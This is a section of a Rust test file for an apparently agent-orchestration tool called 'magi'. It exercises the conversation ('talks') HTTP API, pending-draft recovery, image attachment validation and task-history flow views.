14715 let repo = tmp.path().join("repo");
14716 std::fs::create_dir_all(&repo).expect("repo dir");
14717 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14718 let home = TempDir::new().expect("temp home");
14719 let talks = Talks::at(home.path().join("talks"));
14720 let ui = Arc::new(
14721 Ui::new(
14722 Queue::at(home.path().join("queue")),
14723 Questions::at(home.path().join("questions")),
14724 talks.clone(),
14725 home.path().join("runs"),
14726 home.path().to_path_buf(),
14727 repo.clone(),
14728 )
14729 .with_worktrees_root(home.path().join("wt")),
14730 );
14731 let cfg = config_for(&repo).await.expect("discover config");
14732
14733 for delay in 0..40u32 {
14734 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14735 let id = talk.id.clone();
14736
14737 let handler = tokio::spawn(talk_say(
14738 State(Arc::clone(&ui)),
14739 Path(id.clone()),
14740 Ok(Json(NewTalkTurn {
14741 reply_to: None,
14742 text: "what does the queue module do?".to_owned(),
14743 attachments: Vec::new(),
14744 })),
14745 ));
14746 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14747 handler.abort();
14748 let _ = handler.await;
14751
14752 let mut turns = 0;
14753 for _ in 0..SETTLE_STEPS {
14754 if let Ok(fresh) = talks.get(&id) {
14755 turns = fresh.turns.len();
14756 if turns != 1 {
14757 break;
14758 }
14759 }
14760 tokio::time::sleep(Duration::from_millis(10)).await;
14761 }
14762 assert_ne!(
14763 turns, 1,
14764 "delay {delay}: talk {id} recorded the operator's turn but \
14765 the agent never answered - the reply task was never \
14766 started after the handler future was dropped"
14767 );
14768 }
14769 }
14770
14771 #[tokio::test]
14816 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14817 let tmp = TempDir::new().expect("tempdir");
14818 let repo = tmp.path().join("repo");
14819 std::fs::create_dir_all(&repo).expect("repo dir");
14820 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14821 let home = TempDir::new().expect("temp home");
14822 let talks = Talks::at(home.path().join("talks"));
14823 let ui = Arc::new(
14824 Ui::new(
14825 Queue::at(home.path().join("queue")),
14826 Questions::at(home.path().join("questions")),
14827 talks.clone(),
14828 home.path().join("runs"),
14829 home.path().to_path_buf(),
14830 repo.clone(),
14831 )
14832 .with_worktrees_root(home.path().join("wt")),
14833 );
14834 let cfg = config_for(&repo).await.expect("discover config");
14835
14836 for attempt in 0..3u32 {
14837 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14838 let id = talk.id.clone();
14839 let turn_guard = ui
14842 .begin_talk_turn(&id)
14843 .expect("claim the turn")
14844 .expect("a fresh talk owes nobody a turn");
14845
14846 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14847 let (release_tx, release_rx) = std::sync::mpsc::channel();
14848 ui.set_busy_queue_gate(BusyQueueGate {
14849 reached: reached_tx,
14850 release: release_rx,
14851 });
14852
14853 let handler = tokio::spawn(talk_say(
14854 State(Arc::clone(&ui)),
14855 Path(id.clone()),
14856 Ok(Json(NewTalkTurn {
14857 reply_to: None,
14858 text: "what does the queue module do?".to_owned(),
14859 attachments: Vec::new(),
14860 })),
14861 ));
14862
14863 tokio::time::timeout(Duration::from_secs(5), reached_rx)
14868 .await
14869 .unwrap_or_else(|_| {
14870 panic!(
14871 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14872 )
14873 })
14874 .expect("the busy branch dropped the gate without using it");
14875 assert!(
14876 crate::consult::try_publication_guard(&talks, &id)
14877 .expect("publication fence")
14878 .is_none(),
14879 "a queued worker cannot promote text before its successor reservation is published"
14880 );
14881
14882 let closing = Arc::clone(&ui.admissions).write_owned();
14886 tokio::pin!(closing);
14887 std::future::poll_fn(|cx| {
14888 assert!(closing.as_mut().poll(cx).is_pending());
14889 std::task::Poll::Ready(())
14890 })
14891 .await;
14892 assert!(
14893 ui.begin_admission().is_err(),
14894 "replacement blocks later admissions"
14895 );
14896
14897 let running = talks.get(&id).expect("reload talk");
14904 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14905
14906 handler.abort();
14910 let _ = handler.await;
14911 std::future::poll_fn(|cx| {
14912 assert!(
14913 closing.as_mut().poll(cx).is_pending(),
14914 "HTTP cancellation must not abandon a publishing transaction"
14915 );
14916 std::task::Poll::Ready(())
14917 })
14918 .await;
14919 assert!(
14920 crate::consult::try_publication_guard(&talks, &id)
14921 .expect("publication fence after disconnect")
14922 .is_none()
14923 );
14924
14925 let _ = release_tx.send(());
14931 drop(
14932 tokio::time::timeout(Duration::from_secs(5), closing)
14933 .await
14934 .expect("short admission transaction should release for replacement"),
14935 );
14936 assert!(
14937 crate::consult::try_publication_guard(&talks, &id)
14938 .expect("publication fence after acknowledgement")
14939 .is_some(),
14940 "the publication fence is not retained by the long response"
14941 );
14942
14943 let mut fresh = talks.get(&id).expect("reload talk");
14946 for _ in 0..SETTLE_STEPS {
14947 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14948 break;
14949 }
14950 tokio::time::sleep(Duration::from_millis(10)).await;
14951 fresh = talks.get(&id).expect("reload talk");
14952 }
14953 assert!(
14954 fresh.pending.is_empty() && fresh.turns.len() == 2,
14955 "attempt {attempt}: talk {id} left the operator's text queued \
14956 with no drainer - the reclaimed turn was dropped along with \
14957 the handler future (pending {:?}, {} turns)",
14958 fresh.pending,
14959 fresh.turns.len()
14960 );
14961 }
14962 }
14963
14964 #[tokio::test]
14965 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14966 let (_tmp, _repo, f) = talk_fixture().await;
14967 let id = f.post("/api/talks", None).await.json()["id"]
14968 .as_str()
14969 .expect("id")
14970 .to_owned();
14971 let store = f.talks();
14972 let mut recovered = store.get(&id).expect("opened talk");
14973 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14974 .expect("persist pending draft without a live turn");
14975
14976 let edited = f
14977 .post(
14978 &format!("/api/talks/{id}/pending/edit"),
14979 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14980 )
14981 .await;
14982 assert_eq!(edited.status, 200, "{}", edited.body);
14983 assert!(edited.json()["thinking"].as_bool().unwrap());
14984
14985 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14986 for _ in 0..SETTLE_STEPS {
14987 if detail["turns"].as_array().expect("turns").len() == 2 {
14988 break;
14989 }
14990 tokio::time::sleep(Duration::from_millis(10)).await;
14991 detail = f.get(&format!("/api/talks/{id}")).await.json();
14992 }
14993 let turns = detail["turns"].as_array().expect("turns");
14994 assert_eq!(
14995 turns.len(),
14996 2,
14997 "the recovered draft must run once: {detail}"
14998 );
14999 assert_eq!(turns[0]["body"], "corrected");
15000 assert_eq!(detail["pending"], "");
15001 }
15002
15003 #[tokio::test]
15004 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15005 let tmp = TempDir::new().expect("tempdir");
15006 let repo = tmp.path().join("repo");
15007 std::fs::create_dir_all(&repo).expect("repo dir");
15008 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15009 let f = Fixture::with_repo(repo).await;
15010 let id = f.post("/api/talks", None).await.json()["id"]
15011 .as_str()
15012 .expect("id")
15013 .to_owned();
15014 let store = f.talks();
15015 let mut recovered = store.get(&id).expect("opened talk");
15016 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15017 .expect("persist pending draft without a live turn");
15018
15019 let refused = f
15020 .post(
15021 &format!("/api/talks/{id}/say"),
15022 Some(r#"{"text":"new message"}"#),
15023 )
15024 .await;
15025 assert_eq!(refused.status, 409, "{}", refused.body);
15026 assert!(refused.body.contains("resume"), "{}", refused.body);
15027 let saved = store.get(&id).expect("draft remains after refusal");
15028 assert!(saved.turns.is_empty());
15029 assert_eq!(saved.pending, "saved before restart");
15030
15031 let say_path = format!("/api/talks/{id}/say");
15032 let (first, second) = tokio::join!(
15033 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15034 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15035 );
15036 assert_eq!(first.status, 409, "{}", first.body);
15037 assert_eq!(second.status, 409, "{}", second.body);
15038 let saved = store
15039 .get(&id)
15040 .expect("draft remains after concurrent refusals");
15041 assert!(saved.turns.is_empty());
15042 assert_eq!(saved.pending, "saved before restart");
15043
15044 let resumed = f
15045 .post(&format!("/api/talks/{id}/pending/resume"), None)
15046 .await;
15047 assert_eq!(resumed.status, 202, "{}", resumed.body);
15048 let duplicate = f
15049 .post(&format!("/api/talks/{id}/pending/resume"), None)
15050 .await;
15051 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15052
15053 for _ in 0..SETTLE_STEPS {
15054 if store.get(&id).expect("talk").turns.len() == 2 {
15055 break;
15056 }
15057 tokio::time::sleep(Duration::from_millis(10)).await;
15058 }
15059 let finished = store.get(&id).expect("finished talk");
15060 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15061 assert_eq!(finished.turns[0].body, "saved before restart");
15062 assert!(finished.pending.is_empty());
15063 }
15064
15065 #[tokio::test]
15066 async fn an_image_only_recovered_draft_resumes_without_text() {
15067 let (_tmp, _repo, f) = talk_fixture().await;
15068 let id = f.post("/api/talks", None).await.json()["id"]
15069 .as_str()
15070 .expect("id")
15071 .to_owned();
15072 let uploaded = f
15073 .post_bytes(
15074 &format!("/api/talks/{id}/attachments"),
15075 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15076 PNG_BYTES,
15077 )
15078 .await;
15079 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15080 let attachment = f
15081 .talks()
15082 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15083 .expect("attachment metadata")
15084 .expect("stored attachment");
15085 let store = f.talks();
15086 let mut recovered = store.get(&id).expect("opened talk");
15087 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15088
15089 let resumed = f
15090 .post(&format!("/api/talks/{id}/pending/resume"), None)
15091 .await;
15092 assert_eq!(resumed.status, 202, "{}", resumed.body);
15093 for _ in 0..SETTLE_STEPS {
15094 if store.get(&id).expect("talk").turns.len() == 2 {
15095 break;
15096 }
15097 tokio::time::sleep(Duration::from_millis(10)).await;
15098 }
15099 let finished = store.get(&id).expect("finished talk");
15100 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15101 assert!(finished.turns[0].body.is_empty());
15102 assert_eq!(finished.turns[0].attachments.len(), 1);
15103 assert!(finished.pending_attachments.is_empty());
15104 }
15105
15106 #[tokio::test]
15107 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15108 let (_tmp, _repo, f) = talk_fixture().await;
15109 let id = f.post("/api/talks", None).await.json()["id"]
15110 .as_str()
15111 .expect("id")
15112 .to_owned();
15113 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15114 assert_eq!(closed.status, 200, "{}", closed.body);
15115 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15116 .expect("serialize closed talk");
15117 for (path, body) in [
15118 (format!("/api/talks/{id}/pending/resume"), None),
15119 (
15120 format!("/api/talks/{id}/pending/clear"),
15121 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15122 ),
15123 (
15124 format!("/api/talks/{id}/pending/edit"),
15125 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15126 ),
15127 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15128 ] {
15129 let response = f.post(&path, body).await;
15130 assert_eq!(response.status, 409, "{}", response.body);
15131 }
15132 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15133 .expect("serialize closed talk");
15134 assert_eq!(
15135 after_clear, before_clear,
15136 "clear must not rewrite a closed talk"
15137 );
15138 }
15139
15140 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15143
15144 #[tokio::test]
15145 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15146 let tmp = TempDir::new().expect("tempdir");
15147 let repo = tmp.path().join("repo");
15148 std::fs::create_dir_all(&repo).expect("repo dir");
15149 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15150 let f = Fixture::with_repo(repo).await;
15151 let id_a = f.post("/api/talks", None).await.json()["id"]
15152 .as_str()
15153 .unwrap()
15154 .to_owned();
15155 let id_b = f.post("/api/talks", None).await.json()["id"]
15156 .as_str()
15157 .unwrap()
15158 .to_owned();
15159
15160 let a = f
15161 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15162 .await;
15163 assert_eq!(a.status, 202, "{}", a.body);
15164 assert_eq!(a.json()["thinking"], true);
15165 let b = f
15166 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15167 .await;
15168 assert_eq!(b.status, 202, "{}", b.body);
15169 assert_eq!(b.json()["thinking"], true);
15170
15171 let listed = f.get("/api/talks").await.json();
15172 for id in [&id_a, &id_b] {
15173 let view = listed
15174 .as_array()
15175 .unwrap()
15176 .iter()
15177 .find(|talk| talk["id"] == *id)
15178 .unwrap();
15179 assert_eq!(view["thinking"], true, "{listed}");
15180 }
15181 let repeated = f
15182 .post(
15183 &format!("/api/talks/{id_a}/say"),
15184 Some(r#"{"text":"again"}"#),
15185 )
15186 .await;
15187 assert_eq!(repeated.status, 202, "{}", repeated.body);
15188 assert_eq!(repeated.json()["pending"], "again");
15189 }
15190
15191 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15194
15195 #[tokio::test]
15196 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15197 let f = Fixture::start().await;
15198 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15199
15200 let res = f
15201 .post_bytes(
15202 &format!("/api/talks/{id}/attachments"),
15203 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15204 PNG_BYTES,
15205 )
15206 .await;
15207 assert_eq!(res.status, 201, "{}", res.body);
15208 let body = res.json();
15209 assert_eq!(body["name"], "shot.png");
15210 assert_eq!(body["mime"], "image/png");
15211 assert_eq!(body["bytes"], PNG_BYTES.len());
15212 let att_id = body["id"].as_str().expect("id").to_owned();
15213 assert_eq!(
15214 att_id.len(),
15215 32,
15216 "the id must never be a client-suppliable path: {att_id}"
15217 );
15218
15219 let got = f
15220 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15221 .await;
15222 assert_eq!(got.status, 200, "{}", got.body);
15223 assert_eq!(got.header("content-type"), Some("image/png"));
15224 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15225 assert_eq!(got.bytes, PNG_BYTES);
15226 }
15227
15228 #[tokio::test]
15229 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15230 let f = Fixture::start().await;
15231 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15232
15233 let svg = f
15236 .post_bytes(
15237 &format!("/api/talks/{id}/attachments"),
15238 &[("Content-Type", "image/svg+xml")],
15239 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15240 )
15241 .await;
15242 assert!(
15243 (400..500).contains(&svg.status),
15244 "svg must be refused: {} {}",
15245 svg.status,
15246 svg.body
15247 );
15248 assert!(svg.body.contains("SVG"), "{}", svg.body);
15249
15250 let text = f
15251 .post_bytes(
15252 &format!("/api/talks/{id}/attachments"),
15253 &[("Content-Type", "text/plain")],
15254 b"just some text",
15255 )
15256 .await;
15257 assert!(
15258 (400..500).contains(&text.status),
15259 "an unlisted type must be refused: {} {}",
15260 text.status,
15261 text.body
15262 );
15263
15264 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15267 let big = f
15268 .post_bytes(
15269 &format!("/api/talks/{id}/attachments"),
15270 &[("Content-Type", "image/png")],
15271 &oversized,
15272 )
15273 .await;
15274 assert_eq!(
15275 big.status,
15276 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15277 "{}",
15278 big.body
15279 );
15280 }
15281
15282 #[tokio::test]
15283 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15284 let f = Fixture::start().await;
15285 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15286
15287 let res = f
15290 .post_bytes(
15291 &format!("/api/talks/{id}/attachments"),
15292 &[("Content-Type", "image/png")],
15293 b"<html>not a picture</html>",
15294 )
15295 .await;
15296 assert!((400..500).contains(&res.status), "{}", res.body);
15297 }
15298
15299 #[tokio::test]
15300 async fn an_unknown_attachment_id_is_a_404() {
15301 let f = Fixture::start().await;
15302 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15303
15304 let res = f
15305 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15306 .await;
15307 assert_eq!(res.status, 404, "{}", res.body);
15308 }
15309
15310 #[tokio::test]
15311 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15312 let f = Fixture::start().await;
15313 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15314
15315 let uploaded = f
15316 .post_bytes(
15317 &format!("/api/talks/{id}/attachments"),
15318 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15319 PNG_BYTES,
15320 )
15321 .await;
15322 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15323 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15324
15325 let res = f
15326 .post(
15327 &format!("/api/talks/{id}/say"),
15328 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15329 )
15330 .await;
15331 assert_eq!(res.status, 202, "{}", res.body);
15332 let queued = res.json();
15333 let turns = queued["turns"].as_array().expect("turns array");
15334 assert_eq!(
15335 turns.len(),
15336 1,
15337 "an empty body with an attachment is still a turn: {queued}"
15338 );
15339 assert_eq!(turns[0]["who"], "operator");
15340 assert_eq!(turns[0]["body"], "");
15341 let atts = turns[0]["attachments"]
15342 .as_array()
15343 .expect("attachments array");
15344 assert_eq!(atts.len(), 1);
15345 assert_eq!(atts[0]["id"], att_id);
15346 assert_eq!(atts[0]["mime"], "image/png");
15347
15348 let on_disk = f.talks().get(&id).expect("get");
15351 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15352 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15353 }
15354
15355 #[tokio::test]
15356 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15357 let f = Fixture::start().await;
15358 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15359
15360 let res = f
15361 .post(
15362 &format!("/api/talks/{id}/say"),
15363 Some(&format!(
15364 r#"{{"text":"hi","attachments":["{}"]}}"#,
15365 "a".repeat(32)
15366 )),
15367 )
15368 .await;
15369 assert!((400..500).contains(&res.status), "{}", res.body);
15370 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15371
15372 let on_disk = f.talks().get(&id).expect("get");
15373 assert!(
15374 on_disk.turns.is_empty(),
15375 "a rejected attachment id must not partially record the turn: {:?}",
15376 on_disk.turns
15377 );
15378 }
15379
15380 #[tokio::test]
15381 async fn talk_close_makes_the_talk_refuse_further_turns() {
15382 let f = Fixture::start().await;
15383 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15384
15385 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15386 assert_eq!(closed.status, 200, "{}", closed.body);
15387 assert_eq!(closed.json()["status"], "closed");
15388
15389 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15391 assert_eq!(closed_again.status, 200);
15392 assert_eq!(closed_again.json()["status"], "closed");
15393
15394 let said = f
15395 .post(
15396 &format!("/api/talks/{id}/say"),
15397 Some(r#"{"text":"too late"}"#),
15398 )
15399 .await;
15400 assert_eq!(said.status, 409, "{}", said.body);
15401 }
15402
15403 #[tokio::test]
15404 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15405 let (_tmp, _repo, f) = talk_fixture().await;
15406 let id = f.post("/api/talks", None).await.json()["id"]
15407 .as_str()
15408 .expect("id")
15409 .to_owned();
15410 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15411 assert_eq!(closed.status, 200, "{}", closed.body);
15412
15413 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15414 assert_eq!(reopened.status, 200, "{}", reopened.body);
15415 assert_eq!(reopened.json()["status"], "open");
15416
15417 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15419 assert_eq!(reopened_again.status, 200);
15420 assert_eq!(reopened_again.json()["status"], "open");
15421
15422 let said = f
15423 .post(
15424 &format!("/api/talks/{id}/say"),
15425 Some(r#"{"text":"still there?"}"#),
15426 )
15427 .await;
15428 assert_eq!(
15429 said.status, 202,
15430 "a reopened talk accepts turns again: {}",
15431 said.body
15432 );
15433 }
15434
15435 #[tokio::test]
15436 async fn talk_reopen_on_an_unknown_id_is_404() {
15437 let f = Fixture::start().await;
15438 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15439 assert_eq!(res.status, 404, "{}", res.body);
15440 }
15441
15442 #[tokio::test]
15443 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15444 let f = Fixture::start().await;
15445 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15446
15447 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15448 assert_eq!(deleted.status, 204, "{}", deleted.body);
15449
15450 let after = f.get(&format!("/api/talks/{id}")).await;
15451 assert_eq!(after.status, 404, "{}", after.body);
15452
15453 let listed = f.get("/api/talks").await.json();
15454 assert!(
15455 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15456 "a deleted talk must not linger in the list: {listed}"
15457 );
15458 }
15459
15460 #[tokio::test]
15461 async fn talk_delete_on_an_unknown_id_is_404() {
15462 let f = Fixture::start().await;
15463 let res = f.delete("/api/talks/nonexistent-id").await;
15464 assert_eq!(res.status, 404, "{}", res.body);
15465 }
15466
15467 #[tokio::test]
15471 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15472 let f = Fixture::start().await;
15473 let (a, b, gone) = (
15474 "20260902-140501-aaaa",
15475 "20260902-140502-bbbb",
15476 "20260902-140503-cccc",
15477 );
15478 write_run(&f.runs(), a, RunStatus::Stalled);
15479 let mut review = RunState::new(
15480 PathBuf::from("/repo/magi"),
15481 "main".to_owned(),
15482 "0123456789abcdef".to_owned(),
15483 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15484 .to_owned(),
15485 Config::default(),
15486 );
15487 review.id = b.to_owned();
15488 review.status = RunStatus::Merged;
15489 write_state(&f.runs(), &review);
15490
15491 let mut task = Task::new(
15492 "retry".to_owned(),
15493 "Do the thing".to_owned(),
15494 PathBuf::from("/repo/magi"),
15495 Source::Human,
15496 );
15497 task.start(a.to_owned());
15498 task.stall("quota");
15499 task.start(a.to_owned());
15500 task.start(b.to_owned());
15501 task.start(gone.to_owned());
15502 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15504 f.queue().put(&mut task).expect("file the task");
15505
15506 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15507 assert_eq!(res.status, 200, "{}", res.body);
15508 let v = res.json();
15509 let h = v["history"].as_array().expect("history");
15510 assert_eq!(h.len(), 4, "{v}");
15511 assert_eq!(h[0]["kind"], "competition");
15512 assert_eq!(h[0]["status"], "stalled");
15513 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15514 assert_eq!(h[1]["kind"], "resume", "{v}");
15515 assert!(
15516 h[0]["outcome"]
15517 .as_str()
15518 .unwrap()
15519 .contains("unknown. Pass #2"),
15520 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15521 );
15522 assert!(
15523 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15524 "{v}"
15525 );
15526 assert!(
15527 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15528 "an unrecorded cause must not be narrated as an operator park: {v}"
15529 );
15530 assert_eq!(h[2]["kind"], "review");
15531 assert!(
15532 h[2]["description"]
15533 .as_str()
15534 .unwrap()
15535 .contains("magi/aaaa/A")
15536 );
15537 assert_eq!(h[2]["status"], "merged");
15538 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15539 assert_eq!(v["runs_unreadable"], 1);
15540 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15541 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15542 assert_eq!(nodes[4]["note"], "unreadable");
15543 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15544 assert_eq!(v["instruction"], "Do the thing");
15545 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15546
15547 let run = f.get(&format!("/api/runs/{a}")).await.json();
15549 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15550
15551 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15552 }
15553
15554 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15555 let mut s = RunState::new(
15556 PathBuf::from("/repo/magi"),
15557 "main".to_owned(),
15558 "0123456789abcdef".to_owned(),
15559 "Do it".to_owned(),
15560 Config::default(),
15561 );
15562 s.status = status;
15563 edit(&mut s);
15564 s
15565 }
15566
15567 fn flow_task(runs: &[&str]) -> Task {
15568 let mut t = Task::new(
15569 "t".to_owned(),
15570 "Do it".to_owned(),
15571 PathBuf::from("/repo/magi"),
15572 Source::Human,
15573 );
15574 for r in runs {
15575 t.start((*r).to_owned());
15576 }
15577 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15579 t
15580 }
15581
15582 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15583 let h = task_history(task, |id| {
15584 states
15585 .iter()
15586 .find(|(i, _)| *i == id)
15587 .and_then(|(_, s)| s.clone())
15588 });
15589 task_flow(task, &h, 5, None)
15590 }
15591
15592 #[test]
15593 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15594 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15595 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15596 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15597 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15598 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15599 let run = flow_run(RunStatus::Implementing, |s| {
15600 s.created_at = created;
15601 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15602 s.passes[0].started_at = first;
15603 s.passes[1].started_at = resumed;
15604 });
15605 let mut task = flow_task(&[RUN_X, RUN_X]);
15606 task.created_at = queued;
15607 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15608 task.status = TaskStatus::Held;
15609 task.held_at = Some(held);
15610 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15611 assert_eq!(
15612 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15613 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15614 );
15615 assert!(flow.nodes.iter().all(|n| n.time_expected));
15616 let json = serde_json::to_value(&flow).unwrap();
15617 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15618 assert_eq!(json["nodes"][2]["time_expected"], true);
15619 }
15620
15621 #[test]
15622 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15623 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15624 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15625 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15626 task.held_at = Some(created);
15628 task.blocked_at = Some(created);
15629 for status in [
15630 TaskStatus::Queued,
15631 TaskStatus::Running,
15632 TaskStatus::Blocked,
15633 TaskStatus::Done,
15634 TaskStatus::Failed,
15635 TaskStatus::Parked,
15636 TaskStatus::Held,
15637 ] {
15638 task.status = status;
15639 if status == TaskStatus::Held {
15640 task.held_at = None;
15641 }
15642 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15643 assert_eq!(flow.nodes[1].started_at, Some(created));
15644 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15645 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15646 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15647 let json = serde_json::to_value(&flow).unwrap();
15648 assert!(json["nodes"][3]["started_at"].is_null());
15649 assert_eq!(json["nodes"][3]["time_expected"], true);
15650 }
15651 }
15652
15653 #[test]
15654 fn flow_context_links_do_not_expect_start_times() {
15655 let mut task = flow_task(&[]);
15656 task.source = Source::Agent {
15657 run: "chat-id".to_owned(),
15658 node: "chat".to_owned(),
15659 };
15660 let origin = followup_origin(&fu(None), |_| None, |_| None);
15661 let flow = task_flow(&task, &[], 5, Some(&origin));
15662 for node in &flow.nodes[..2] {
15663 assert!(!node.time_expected);
15664 assert_eq!(node.started_at, None);
15665 }
15666 assert!(flow.nodes[2].time_expected);
15667 }
15668
15669 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15670 crate::queue::FollowUp {
15671 run: "20260901-000000-aaaa".to_owned(),
15672 origin_task: origin_task.map(str::to_owned),
15673 pr: "https://example.com/o/r/pull/1".to_owned(),
15674 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15675 .map(str::to_owned)
15676 .to_vec(),
15677 generation: 1,
15678 }
15679 }
15680
15681 fn parent_task() -> Task {
15682 let mut p = flow_task(&[]);
15683 p.title = "Parent title".to_owned();
15684 p.status = TaskStatus::Done;
15685 p
15686 }
15687
15688 #[test]
15689 fn flow_opens_with_the_parent_task_of_a_followup() {
15690 let p = parent_task();
15691 let pid = p.id.clone();
